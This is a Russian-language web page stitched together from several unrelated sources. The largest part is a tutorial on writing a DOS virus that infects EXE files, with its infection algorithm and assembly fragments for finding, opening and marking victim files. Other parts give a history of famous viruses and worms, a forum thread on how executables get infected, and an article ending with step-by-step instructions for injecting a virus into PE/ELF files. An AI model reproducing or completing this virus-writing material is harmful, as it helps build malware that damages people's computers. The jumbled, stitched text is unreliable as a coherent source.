Вирус который заражает учу

Обновлено: 28.03.2024

Как и при заражении COM - программ, при заражении EXE-файлов вирусный код может записываться в конец, начало или в середину файла.Запись в конец файла, как и в предыдущем случае,реализуется наиболее просто,и кроме того,предохраняет от многих трудностей при отладке. Поэтому мы создадим вирус, работающий имено по такому принципу. Для того,чтобы при старте зараженной программы код вируса получил управление, следует соответствующим образом модифицировать заголовок EXE - файла. Для этого исходные значения CS0 и IP0 заменяются на точку входа в вирусный код, а значения SS0 и SP0 "переключаются" на собственный стек вируса. Кроме того, поскольку при заражении изменяются длина загрузочного модуля и длина файла, необходимо скорректировать поля заголовка по смещению 02h, 03h, а также 04h, 05h. Вот и все. Может показаться, что создать вирус,заражающий EXE-файлы, намного сложнее, чем COM - вирус. Однако это не так. Прочтите эту главу, и вы убедитесь в этом!

Работа вируса в зараженной программе

Рассмотрим теперь действия вируса при получении им управления. Итак, вирус функционирует по такому алгоритму:

  1. Ищет на диске подходящий EXE-файл.
  2. Записывает свое тело в конец этого файла.
  3. Корректирует заголовок заражаемой программы следующим образом:
    1. Вместо исходных CS0 и IP0 заражаемой программы записываются значения, обеспечивающие передачу управления вирусному коду при запуске программы.
    2. Исходные SS0 и SP0 заменяются на значения, обеспечивающие переключение на собственный стек вируса.
    3. Корректируется остаток от деления размера загрузочного модуля на 512.
    4. Поскольку при заражении длина файла увеличивается, корректируется размер файла в страницах (одна страница равна 512 байт).

    Естественно, перед корректировкой вирус обязан сохранить исходные параметры заголовка -ведь они потребуются при передаче управления вирусному коду. После коррекции заголовок записывается на диск.

    1. Выполняет вредные действия, предусмотренные автором.
    2. Определяет значения CS, IP, SS и SP,необходимые для правильной работы программы,из которой стартовал вирус.
    3. Передает управление зараженной программе. Для этого вирус использует команду безусловного дальнего перехода.Адрес перехода задается вычисленными CS и IP. После этого начинается обычное выполнение программы.

    Начало работы

    Как и COM - вирус, EXE - вирус лучше разрабатывать в формате COM. Это убережет нас от многих ненужных трудностей. Поэтому напишем стандартное начало COM программы:

    prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

    Как вы помните, директива "assume cs:prg,ds:prg,es:prg,ss:prg" назначает сегментные регистры сегменту с именем PRG, а директива "org 100h" резервирует место для PSP вирусной программы.

    Вирус получает управление

    В отличие от COM - вируса,наша запускающая программа после запуска не будет заменять в памяти свои первые три байта командой перехода на функцию DOS завершения программы. По этой причине можно не бояться, что в заражаемый файл попадет испорченный вирусный код (см. п. 1.17 предыдущей части). Отсюда следует, что директива " org 110h" нам не потребуется. Значит,можно сразу переходить "к делу":

    vir: mov ax,cs ;AX = CS. .. db 2dh ;SUB AX,00h sub_ds dw 0 ; mov ds,ax ; mov ss,ax ; mov ah,1ah ;Переключим DTA lea dx,new_dta ;на соответству- ;ющий массив в int 21h ;области данных ;вируса. ..

    При компиляции относительные адреса всех ячеек памяти определяются относительно DS, который указывает на начало PSP. Но в зараженной программе при передаче управления на код вируса регистр CS будет указывать на параграф, с которого начинается этот код, а не на начало PSP, а регистр DS вообще окажется настроенным на начальный сегмент программы! Единственный способ получить доступ к данным вируса заключается в установке DS = CS.А с учетом размера PSP в 10h параграфов значение DS следует уменьшить как раз на эту величину. При заражении того или иного файла поле " sub_ds " для него будет заполняться значением 10h. Поскольку запускающая программа имеет COM-формат, для нее CS = DS = SS = ES, и все они указывают на начало PSP. Поэтому значение DS корректировать не нужно, и в поле "sub_ds" запускающей программы помещается ноль. Дальше вирус переключает DTA на массив "new_dta", расположенный в области данных вируса. Поскольку начальный сегмент программы станет известным при ее запуске,можно будет без особого труда восстановить адрес исходной DTA.

    Ищем подходящий файл

    Теперь наш вирус может заняться поиском файла-жертвы. Как мы договорились, вирус будет заражать EXE-файлы, значит, такой файл и нужно найти. Но поскольку фрагмент, который производит поиск файлов с тем или иным расширением уже был создан, остается только воспользоваться им, внеся некоторые изменения:

    mov ax,old_ip ;Скопируем исхо- mov my_ip,ax ;дные параметры mov ax,old_cs ;заголовка зара- mov my_cs,ax ;женной програм- mov ax,to_16h ;мы в ячейки па- mov my_16h,ax ;мяти " my_XX ", mov ax,old_ss ;так как ячейки mov my_ss,ax ;" old_XX ", в mov ax,old_sp ;которых хранят- mov my_sp,ax ;ся параметры, ;будут испорчены ;при заражении ;нового файла find_first:mov ah,4eh ;Поиск первого mov cx,00100110b ;файла : lea dx,maska ;archive, system int 21h ;hidden. .. jnc r_3 jmp restore_dta find_next: mov ah,3eh ;Закроем непод- mov bx,descrypt ;ходящий файл int 21h jnc r_2 jmp restore_dta r_2: mov ah,4fh ;Поиск следующе- int 21h ;го. .. jnc r_3 jmp restore_dta r_3: mov cx,12 ;Очистим об- lea si,fn ;ласть " fn " kill_name: mov byte ptr [si],0 inc si loop kill_name xor si,si ;И перепишем copy_name: mov al,byte ptr new_dta[si + 01eh] cmp al,0 ;туда имя най- je open_file ;денного файла mov byte ptr fn[si],al inc si jmp copy_name open_file: mov ax,3d02h ;Откроем файл lea dx,fn ;для чтения и int 21h ;записи. .. jnc found_size jmp r_2 found_size:mov descrypt,ax ;Определим раз- mov cx,word ptr [new_dta + 01ch] mov dx,word ptr [new_dta + 01ah] sub dx,1 ;мер файла и вы- sbb cx,0 ;чтем из него ;единицу . .. call setpointer ;Установим ука- ;затель на пос- ;ледний символ read_last: mov cx,1 ;Прочитаем lea dx,last ;последний call read ;символ. .. jnc compar jmp close_file compar: cmp last,'7' ;Это "семерка" ? jne mmm ;Нет to_next: jmp find_next ;Да ! Файл уже ;заражен, и надо ;искать другой

    Вы, вероятно, уже поняли,что каждая новая программа оставляется нами из ранее разработанных блоков, как из конструктора.Это сильно упрощает работу и сокращает время на составление программ. Было бы странно не воспользоваться готовыми фрагментами и заново преодолевать все трудности! Вместе с тем, использованный фрагмент пришлось несколько модифицировать,чтобы он смог правильно работать в новой программе. Первое внесенное изменение состоит в дублировании исходных значений заголовка программы, из которой стартовал вирус. В комментариях рассказано, зачем это потребовалось. Следующее изменение вызвано тем, что EXE - файл может быть длиннее 64 Кбайт.Поэтому для установки указателя на последний байт файла недостаточно просто вычесть единицу из его размера. Например,пусть длина файла равна 10000h байт. В этом случае из DTA будут считаны такие числа :CX = 0001h и DX = 0000h (см. выше). Теперь для обращения к последнему элементу файла из пары CX : DX следует вычесть "1". Если просто вычесть единицу из DX, то мы получим следующее :CX = 0001h, DX = 0FFFFh, то есть полностью абсурдное значение. Чтобы такого не происходило, нужно применить команду " вычитание с заемом ", которая будет отнимать от CX значение флага переноса CF - " ноль " или " один ". И последнее - вместо непосредственной установки указателя мы будем просто вызывать процедуру "setpointer ", текст которой несложен и рассматривается в конце главы.

    Читаем заголовок файла

    Наш EXE-вирус должен получать управление при старте зараженного файла. С этой целью он может модифицировать заголовок файла,как показано в п. 1.4. Проще всего будет считать заголовок найденной EXE-программы с диска, после чего сделать необходимые изменения и записать его обратно на диск.А так как предыдущий фрагмент вирусной программы уже нашел подходящий EXE - файл, самое время прочитать его заголовок:

    mmm: xor cx,cx ;Установим ука- xor dx,dx ;затель на нача- call setpointer ;ло файла. .. mov ah,3fh ;И считаем инте- mov bx,descrypt ;ресующую нас mov cx,27 ;часть заголовка ;в массив " hea- ;der ". Она как lea dx,header ;раз занимает 27 int 21h ;байт. jnc next_step ; jmp restore_dta ;Ошибка чтения !


    Как уже говорилось в предыдущей части — вирусы это неотъемлемая часть мира компьютерных технологий и Интернета. Они бывают разные: забавные и безвредные, большие и сложные, быстрые и разрушительные, шпионские и даже диверсионные. Создатели этих программ явно обладают светлым умом, но не всегда чистой совестью. Сегодня мы познакомимся с вирусами, которые не вошли в подборку предыдущей части. Поехали.



    Возможно первая программа, которая может именоваться интернет червем. Была обнаружена в начале 70-ых, а распространялась через ARPANET (предшественник современного Интернета).

    История создания и даже самого существования Creeper окутана тайнами, теориями и неточностями. Кто-то говорит, что программа вышла в мир в начале 70-ых, а кто-то считает, что еще в конце 1960-ых. Известно, что Creeper была написана Бобом Томасом. Он также был автором подсистемы RSEXEC ОС Tenex, на базе которой Creeper и действовал.

    Далее Рэй Томлинсон, коллега Боба Томаса, написал программу REAPER, задачей которой был поиск и уничтожение Creeper. Таким образом появилась первая программа-нематода — простыми словами, вирус, который уничтожает другой вирус.

    Еще один представитель ранних форм вирусов. Был написан Ричардом Скрента, парнем 15 лет, специально под Apple II.

    Elk Cloner: The program with a personality

    It will get on all your disks
    It will infiltrate your chips
    Yes it's Cloner!

    It will stick to you like glue
    It will modify ram too
    Send in the Cloner!



    If you install [this] on a microcomputer…
    then under terms of this license you agree to pay PC Cyborg Corporation in full for the cost of leasing these programs…

    In the case of your breach of this license agreement, PC Cyborg reserves the right to take legal action necessary to recover any outstanding debts payable to PC Cyborg Corporation and to use program mechanisms to ensure termination of your use…

    These program mechanisms will adversely affect other program applications…

    You are hereby advised of the most serious consequences of your failure to abide by the terms of this license agreement; your conscience may haunt you for the rest of your life… and your [PC] will stop functioning normally…

    You are strictly prohibited from sharing [this product] with others…

    ATTENTION I have been elected to inform you that throughout your process of :collecting and executing files, you have accdientally (sic) ¶HÜ¢KΣ► [PHUCKED] :yourself over: again, that's PHUCKED yourself over. No, it cannot be; YES, it CAN be, :a √ìτûs [virus] has infected your system. Now what do you have to say about that? :HAHAHAHAHA. Have ¶HÜÑ [PHUN] with this one and remember, there is NO cure for

    AIDS (огромным шрифтом).

    CIH фактически имел два варианта исхода своей деятельности, оба активировались 26 апреля. В первом случае вирус перезаписывал жесткий диск, начиная с сектора 0, используя бесконечную петлю, пока система полностью не упадет. Второй вариант — атака на Flash BIOS и попытка повреждения хранимых там данных, что приводило к тому, что ничего не отображалось, когда компьютер запускался. Жертвами вируса были машины под ОС Windows 95, 98 и ME.

    Жертвами вируса CIH стало огромное число компьютеров и компаний. В Корее пострадало около 1 миллиона ПК, а ущерб составил $250 миллионов. Также пострадали и Бостонский Университет (данные учащихся были удалены прямо перед экзаменами), 200 компьютеров в Сингапуре, 100 в Гонг Конге, 10 крупных компаний в Индии и другие.

    CIH так сильно распространился, что даже некоторые программы, поставляемые на рынок, были им заражены, включая игру Wing Commander, обновления драйверов для CD-R400 от компании Yamaha, и даже компьютеры Aptiva от компании IBM вышли на рынок с пре-установленным вирусом.


    Один из самых распространенных вирусов середины 90-ых. После заражения вирус устанавливал себя в Master boot record загрузочного диска. Инфицировал память компьютера при загрузке ОС, после чего перехватывал прерывание INT 21h. При каждом запуске ПК, вирус шифровал 2 дорожки на жестком диске.

    Зашифрованные части диска не могли больше быть использованы системой, потому даже удаление вируса не ликвидировало проблему полностью.

    OneHalf является представителем стелс-вирусов, поскольку использовал полиморфные методы распространения, что не давало возможности большинству антивирусов его обнаружить.

    Когда в свет вышла ОС Windows 95 и более новые версии, вирус OneHalf практически вымер.

    Morris worm



    Роберт Таппан Моррис

    Скандально известный сетевой червь. Был зафиксирован первый раз 2 ноября 1988 года, за что получил свое альтернативное название — Internet worm of November 2, 1988. Наделал немало шума в период своего существования.

    Творцом червя стал Роберт Таппан Моррис, аспирант Корнеллского университета. Роберт не собирался заражать весь ARPANET, он думал, что его творение будет инфицировать только VAX-компьютеры с операционными системами 4BSD и Sun 3. Но у червя был портируемый Си-код, что дало ему возможность распространяться и на других машинах.

    Как действовал червь. Для начала он проводил сканирование компьютера, пытаясь выяснить заражен ли он уже или нет. Потом случайным образом перезаписывал себя для того, чтобы обеспечить свою незаметность. Основой деятельности червя была уязвимость в почтовом сервере Sendmail, сервисах Finger, rsh/rexec с подбором паролей по словарю. Данный словарь состоял из 400 ключевых слов, всего лишь. А учитывая, что в те времена мало кто уделял должное внимание безопасности, логин и пароль частенько совпадали. Чтобы скрыть свой след Morris worm удалял свои исполняемые файлы, переименовывал свой процесс в sh.

    Ирония заключается в том, что отцом Роберта, автора червя, был компьютерный эксперт АНБ. Он посоветовал сыну сдаться властям, что последний и сделал. Так случилось первое в истории судебное дело по статье Computer Fraud and Abuse Act (1986). Роберту грозило 5 лет тюрьмы и 250 000 долларов штрафа. Но за счет того, что он сам себя сдал, ему присудили 3 года условно, 10 000 штрафа и 400 часов общественных работ.

    Red October


    Любители фильмов про Джеймса Бонда и все шпионское, этот пункт для вас. В октябре 2012 года антивирусная компания Kaspersky Lab обнаружила шпионскую вредоносную программу.

    Исследователи данного вируса заявили, что он активно функционировал по всему миру в течении 5 лет, прежде чем его обнаружили. Вирус собирал и передавал своим создателям информацию различного характера (секретную, дипломатическую, государственную, персональную и т.д.). Вирус распространялся через электронное письмо с зараженным файлом, и использовал для своего дальнейшего распространения уязвимости в Microsoft Word и Excel. Позднее была обнаружена веб-страничка, которая использовала уязвимость плагина Java.

    После разоблачения, доменные регистраторы и хостинг-компании по всему миру прикрыли порядка 60 доменных имен, которые использовались вирусом Red October. Сами же злоумышленники после такого поворота событий прекратили распространение Red October.

    До сих пор неизвестно кто является автором Red October и какие именно цели он (или они) преследовали.

    Cookie Monster

    Конечно же, Cookie Monster нельзя назвать вирусом (хотя многие источники именно так его и называют), поскольку у него нет механизма репликации и распространения. Но, все же, Cookie Monster можно отнести с программам вредоносного характера, хоть и вреда особо не было.


    Не просто один вирус, а целое семейство вирусов под названием Ontario, первый представитель которого был обнаружен еще в июле 1990 года — Ontario.512.

    Также вирус содержал зашифрованный текст:

    С появлением ОС Windows распространение вирусов Ontario начало уменьшатся. И уже к 2006 году они фактически вымерли.


    В одной из версий вируса (их было две: a и b) присутствовало послание автора следующего содержания:

    Delphi-the best. Fuck off all the rest. Neshta 1.0. Made in Belarus. Прывiтанне ўсiм ~цiкавым~ беларус_кiм дзяўчатам. Аляксандр Рыгоравiч, вам таксама. Восень — кепская пара… Алiварыя — лепшае пiва! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]

    Вирус Neshta так сильно подпортил всем нервы, что правоохранительные органы Белоруссии обьявили охоту на его автора, но, как известно, безрезультатно.

    Один из самых примечательных червей. Стал первым червем способным запускаться без необходимости открытия зараженного электронного письма. Первым начал модифицировать сайты, дабы предлагать пользователю скачать файл (содержащий червя, естественно).

    Для своего распространения Nimda использовал не один метод, а целых 5:

    • Электронная почта;
    • Открытые общие сетевые ресурсы;
    • Зараженные веб-сайты;
    • Уязвимости в IIS;
    • Бэкдоры, оставленные в системах червями-предшественниками Code Red II и sadmind/IIS

    Зараженные сайты

    На зараженном червем сайте имеется код JavaScript, который заставляет браузер скачивать файл README.EML, содержащий червя:

    Файл README.EML откроется в уменьшенном окне, если пользователь использует браузер Explorer 5.5 с Service Pack 1 (или более ранние версии пакетов обновлений). Есть вероятность, что таким методом червь не может заразить системы Windows NT или Windows 2000.

    Электронная почта

    Локальные сети

    В случае подключения к локальной сети с зараженным ПК, машина-жертва получит файл RICHED20.DLL, размещенный в любой из папок с файлами расширения .doc или .eml. Эти файлы будут скрыты.

    Червь Nimda (admin задом наперед) заражал персональные компьютеры на системах Windows 95, 98, NT, 2000 или XP и серверы на Windows NT и Windows 2000.

    CryptoLocker


    Тут пойдет речь не просто о вредоносном ПО, а о целой кибератаке, произведенной с его помощью. В период с 5 сентября 2013 года по май 2014 многие пользователи ОС Windows стали жертвами вымогателей.

    В ноябре 2013 года творцы CryptoLocker пошли еще дальше в своей наглости и уверенности в безнаказанности. Они открыли онлайн-центр, где жертвы могли выплатить выкуп за свои данные, даже если прошел дедлайн (в таком случае цена увеличивалась до 10 биткойнов).

    2 июня 2014 года было официально заявлено о проведении ранее операции Tovar, в результате которой был ликвидирован ботнет Gameover Zeu, использованный для распространения CryptoLocker. Одним из обвиняемых стал российский хакер по имени Евгений Богачёв. По данным, собранным исследователями атаки, хакеры-вымогатели обогатились на 3 миллиона долларов.


    Червь года 2004, если можно так выразиться.

    Текст письма содержал следующее:

    You were successful in the auction.

    (где **** **** **** — набор случайных цифр)

    A detailed description about the product and the bill
    are attached to this mail.
    Please contact the seller immediately.

    prod_info_04155.bat
    prod_info_04650.bat
    prod_info_33462.cmd
    prod_info_33967.cmd
    prod_info_42313.pif
    prod_info_42314.pif
    prod_info_42818.pif
    prod_info_49146.exe
    prod_info_49541.exe
    prod_info_54234.scr
    prod_info_54235.scr
    prod_info_54739.scr
    prod_info_33325.txt.exe.zip
    prod_info_33543.rtf.scr.zip
    prod_info_34157.htm.exe.zip
    prod_info_43631.doc.exe.zip
    prod_info_43859.htm.scr.zip
    prod_info_47532.doc.scr.zip
    prod_info_54433.doc.exe.zip
    prod_info_55761.rtf.exe.zip
    prod_info_56474.txt.exe.zip
    prod_info_56780.doc.exe.zip
    prod_info_65642.rtf.scr.zip
    prod_info_77256.txt.scr.zip
    prod_info_87968.htm.scr.zip

    При открытии зараженного файла вирус создавал мьютекс, предотвращающий запуск более чем одной копии червя, который копировал себя в папку Windows под именем Services.exe. Далее Netsky добавлял в реестр специальную запись, позволяющую ему запускаться при включении компьютера. Еще одной, весьма забавной, особенностью червя было удаление им записей Taskmon и Explorer из реестра ключей, которые были там оставлены другим червем Mydoom.

    doom2.doc.pif
    sex sex sex sex.doc.exe
    rfc compilation.doc.exe
    dictionary.doc.exe
    win longhorn.doc.exe
    e.book.doc.exe
    programming basics.doc.exe
    how to hack.doc.exe
    max payne 2.crack.exe
    e-book.archive.doc.exe
    virii.scr
    nero.7.exe
    eminem — lick my pussy.mp3.pif
    cool screensaver.scr
    serial.txt.exe
    office_crack.exe
    hardcore porn.jpg.exe
    angels.pif
    porno.scr
    matrix.scr
    photoshop 9 crack.exe
    strippoker.exe
    dolly_buster.jpg.pif
    winxp_crack.exe

    Результатом деятельности червя было сильное замедление, а порой и падение, работы компьютеров, что, в свою очередь, привело к колоссальным финансовым потерям. Они составили примерно от 25,6 до 31,3 миллиардов долларов по всему миру.

    Автором сего творения считается Свен Яшан (Sven Jaschan), студен из Германии. Он также является автором червя Sasser (о нем в следующем блоке). Свен был пойман и осужден к 21 месяцу условно и 30 часам общественных работ.

    Еще одно творение Свена Яшана. Датируется 2004 годом. Наделал немало шума и вреда в финансовом эквиваленте, хотя изначально не имел такой цели.

    Червь распространялся, используя уязвимость в службе LSASS Microsoft Windows, при этом не требовал никаких действий со стороны пользователя-жертвы для активации.

    Sasser создавал FTP сервер на порту 5554 для своего распространения. На диске С червь создавал файл под рутом с именем win.log, который содержал IP адрес компьютера, который червь пытался заразить в последнее время. Также червь использовал Windows API для проверки IP адреса системы, чтобы в дальнейшем на его основе сгенерировать новый адрес. в 25% случаев первые 2 цифры сгенерированного адреса совпадают с хостом, когда последние 2 случайны. Есть вероятность в 23%, что только первая цифра будет совпадать, и вероятность в 52%, что сгенерированный IP будет абсолютно случаен. Процесс выбора случайного адреса использует 128 потоков, что может значительно ухудшить производительность зараженной машины.

    Исходом работы червя была постоянная перезагрузка компьютера с выводом на экран ошибок процесса lsass.exe. Однако этого хватило, чтобы многие компании понесли огромные потери. В общей сложности ущерб от Sasser составил примерно 18 миллиардов долларов. Всего заражено было около 250 000 машин.

    Как упоминалось ранее, Свен был, в последствии, наказан за свое творение. Если бы в его действиях выявили корыстные намерения, то наказание было бы гораздо суровее.

    Anna Kournikova

    В 2001 году датский программист Ян де Вит создал червь Anna Kournikova. Пользователь-жертва получал письмо с якобы фотографией известной теннисистки Анны Курниковой. Фотки там естественно не было, но был червь, который заражал компьютер, если файл его содержащий открывался. Имя фала было таковым AnnaKournikova.jpg.vbs. Причина, по которой пользователь мог не задумываясь открыть файл в стандартных настройках Windows, которые скрывали расширение файла. Таким образом пользователь видел следующее — AnnaKournikova.jpg. Далее червь сканировал базу адресов почты в Microsoft Outlook и рассылал себя всем контактам.

    В полицию Ян де Вит пришел сам. Адвокаты настаивали на том, что де Вит не желал никому зла и создал червя без оглядки на последствия. Однако ФБР предоставили доказательства того, что вред все же был, и не маленький, больше 166000 долларов. В итоге, Ян был осужден к 150 часам общественных работ или 75 дням лишения свободы.


    Компьютерный червь, поставивший на уши Пентагон. В 2008 году флешка, зараженная червем agent.btz, была вставлена в ноутбук на военной базе США в Среднем Востоке. Компьютер был подключен к Центральному командованию вооружённых сил США (USCENTCOM). Червь распространился по всем системам, включая секретные. Он делал это путем создания файла AUTORUN.INF в руте каждого из дисков. Также мог сканировать компьютер на наличие бэкдоров, которые использовал для дальнейшего распространения.

    Пентагон потратил около 14 месяцев на то, чтобы очистить свои системы от червя. Они даже запретили использовать флешки или другие переносные носители информации.

    Вокруг этого червя было много спекуляций и теорий заговора. Кто-то считал, что его разработал хакер-одиночка. А Пентагон стал лишь случайной жертвой в числе многих. Другие же заверяли, что червь — продукт диверсионной деятельности России или Китая.


    Троян, ставший оружием в руках мошенников. Впервые был обнаружен в 2007 году.

    Некоторые версии Zeus маскировались, используя цифровую подпись Kaspersky Lab, которая в следствии изучения была признана поддельной. Также большей распространенности служило то, что троян мог инфицировать не только компьютеры под управлением Windows, но и мобильные устройства с ОС BlackBerry или Android.

    В 2010 году, 1 октября, ФБР заявило о проведении одной из самых масштабных операций по поимке преступников, которые были причастны к краже порядка 70 миллионов долларов со счетов жертв трояна Zeus. Было арестовано около 100 человек: 90 в США, остальные в Великобритании и Украине.


    Подскажите, как заражаюстя файлы и почему именно exe?
    Как в таком файле определить, что он заражен не используя антивирусы?
    Может какой язык программирования и подход в этом деле поможет лучше понять суть вирусов?

    Оценить 4 комментария

    Потому что их можно запустить на исполнение. Но не только их, но и динамические библиотеки (dll/so), файлы скриптов, ярлыки, документы офисных пакетов (которые умеют исполнять макросы) и прочие вещи. Причем, запуск происходит с правами доступа того пользователя, который их вызывает. Это как попытка подкинуть плотнику молоток с кривой ручкой, чтобы тот ударил себя по пальцу вместо заготовки.

    Так можно просто послать письмо с вредоносной программой (которая ничего больше не умеет, кроме как делать свои черные дела) в надежде, что недалекий юзер ее запустит или даже "пропатчить" какую-нибудь программу пользователя, чтобы та помимо ожидаемых вещей делала какие-нибудь сюрпризы.

    Не только ехе. Заразить можно любой файл, который исполняется, можно заразить хоть bat файл, если ставить такую цель. И такие вирусы есть в природе. Читайте вики, там всё подробно расписано.

    - зачем?
    - сравнивая с эталоном, при отличиях - дизассемблируя :)


    Может, естественно, до определённых пределов. Вопрос - зачем? Для начала проще почитать вики чуть-чуть.

    Ingernirated

    John Smith: в википедии всё обобщенно и не уточнено, хочу книжку на эту тему почитать для общего развития, а какую, не знаю, вот и интересуюсь

    Plinio

    Определить, заражён файл или нет можно без антивируса. Используйте HashChech Shell Extension! С ним просто создавать контрольные суммы всех исполняемых файлов типа EXE, DLL, SYS, OCX, BAT, PIF, SCR, CPL, COM и CMD. Если хотя бы один будет изменён, то контрольная сумма для файла мигом станет другой.

    OLS

    прочтение теории инфицирования лучше всего начинать с COM-файлов, хотя они и устарели

    Adamos

    Вообще-то технологии заражения в целом устарели.
    Нынешние exe-вири просто подменяют жертву, перенося ее тело в другой файл, который вызывают, отработав сами.

    Ingernirated

    Adamos

    Ingernirated: Да, конечно. Компьютер же это делает.
    Вы можете прочесть код любым hex-редактором.
    Если, конечно, чтение машинных кодов кажется вам чем-то осмысленным.

    abyrkov

    Adamos

    Dark Hole: вы правда в это верите?
    Что ТС, при таком-то уровне вопросов, хоть что-нибудь слышал о языке ассемблера?

    Ingernirated

    abyrkov

    abyrkov

    TrueBers

    Никак не определить.
    Код вируса отличается от легитимного кода только намерением того, кто его применяет. Ничем больше.

    С таким же успехом можно спросить:
    — Как отличить нож, которым кого-то зарежут, от обычного кухонного ножа?
    — Если вы не умеете читать мысли тех, кто берёт этот нож в руки, то никак.

    Ingernirated

    Adamos

    Ingernirated: под окошками каждая вторая программа при запуске лезет к автору на сайт проверить, не было ли обновления. Отличить это от вредоносной активности довольно проблематично.

    Ingernirated

    Adamos

    Ingernirated: молодой человек, прочитайте уже какой-нибудь нормальный учебник по информатике или хотя бы главу про язык ассемблера в Википедии. Не позорьтесь такими - столь же наивными, сколь и бессмысленными - вопросами.

    Вирус- это кусок кода. У каждой программы есть точка входа. ОС загружает программу и передает управление программе.
    Вирус встраивается в эту точку входа, меняет её, записывается в конец, при вызове происходит переход не в тело программы, а в вирус, которое делает свои дела и обратно передает управление программе.

    Если exe модуль подписан и посчитана контрольная сумма, то наличие вируса маловероятно.
    В другие форматы не понятно куда себя писать вирусу, возможны и варианты с DOC, XLS, там различные макросы активирующиеся на запуск, открытие и другие события, через которые получает управление вирус.

    Наличие вируса определяют по характерным для вируса действиям (точно не скажу каким), командам, вызовам процедур. На вирус можно провиться на сайтах специальных типа вирустотала.

    Суть вируса проста - клонировать себя, встроить в тело другого exe модуля, сделать свои дела и всё.


    Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

    В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

    Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

    Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:


    Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

    • Куда положить вирус? Необходимо найти достаточно места, чтобы вирус туда поместился, записать его туда, по возможности не разломав файл и так, чтобы в области, в которой вирус окажется, было разрешено исполнение кода.
    • Как передать управление на вирус? Просто положить вирус в файл недостаточно, надо еще совершить переход на его тело, а после завершения его работы вернуть управление программе-жертве. Или в другом порядке, но, в любом случае, мы же договорились не ломать ничего, да?

    Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

    Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

    Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

    Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

    • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
    • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
    • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
    • повторять, пока не решим остановиться
    1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
    2. Читаем свой код (код тела вируса).
    3. Берем несколько первых инструкций из файла-жертвы.
    4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
    5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
    6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
    7. На место этих первых инструкций кладем переход на код вируса.

